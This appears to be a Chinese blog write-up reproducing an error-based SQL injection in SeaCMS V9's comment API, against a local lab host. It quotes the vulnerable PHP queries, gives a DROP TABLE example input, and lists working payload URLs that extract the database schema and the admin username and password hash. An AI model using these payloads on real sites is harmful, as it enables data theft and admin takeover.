SeaCMS V9海洋影视管理系统报错注入

漏洞背景

SQL 注入攻击是当前网络安全中最常见的一种攻击方式,攻击者可以利用该漏洞访问或操作数据库,造成数据泄露或破坏。通常发生在开发人员未能正确处理用户输入时。

在 SeaCMS V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

漏洞位置

seacmsv9\comment\api\index.php

注入风险

Readmlist 函数中:

php 复制代码
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";

直接将 $type$id 的值嵌入到查询中。如果 $type$id 变量没有经过适当的验证或清理,可以通过修改这些参数来执行恶意的 SQL 查询,从而导致 SQL 注入攻击。例如:

1; DROP TABLE sea_comment; --

Readrlist 函数中:

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

$ids 变量直接用于 SQL 查询,如果 $ids 是由用户输入的,并且没有经过验证或过滤,可以传递恶意的输入来执行 SQL 注入攻击。

注入:

报错数据库名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

报错字段名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

报错数据:

http://seacmsv9:8015//comment/api/index.php?gid=1\&page=2\&type=1\&rlist\[\]=@\`'`, updatexml

(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`

无报错

原因是表sea_comment为空,无返回值

在表sea_comment插入数据,再次注入查看

php 复制代码
http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进行MD5解密就,账号密码都是admin

相关推荐
亚远景aspice25 分钟前
亚远景-ASPICE vs ISO 21434:汽车软件开发标准的深度对比
网络·安全
创客匠人老蒋31 分钟前
雷军「去执行化」与小米汽车更名:一场关乎安全与战略的双向奔赴|创客匠人热点评述
安全·汽车
新能源汽车-小K41 分钟前
车载网络TOP20核心概念科普
网络
Dr.Zeus1 小时前
新能源汽车CAN通信深度解析:MCU、VCU、ECU协同工作原理
网络·汽车
全栈工程师修炼指南1 小时前
【网安等保】OpenEuler 24.03系统主机安全加固及配置优化实践指南
安全
EulerBlind1 小时前
【MCP】为什么使用Streamable HTTP: 相比SSE的优势与实践指南
网络·网络协议·http
上海云盾第一敬业销售1 小时前
网站业务被 DDoS 攻击了怎么办?
网络·ddos
蹦蹦跳跳真可爱5893 小时前
Python----神经网络(《Going deeper with convolutions》论文解读和GoogLeNet网络)
网络·人工智能·pytorch·python·神经网络
上海云盾商务经理杨杨3 小时前
2025年小程序DDoS与CC攻击防御全指南:构建智能安全生态
安全·小程序·ddos
搬码临时工3 小时前
内网和外网怎么互通?外网访问内网的几种简单方式
服务器·网络·智能路由器·外网访问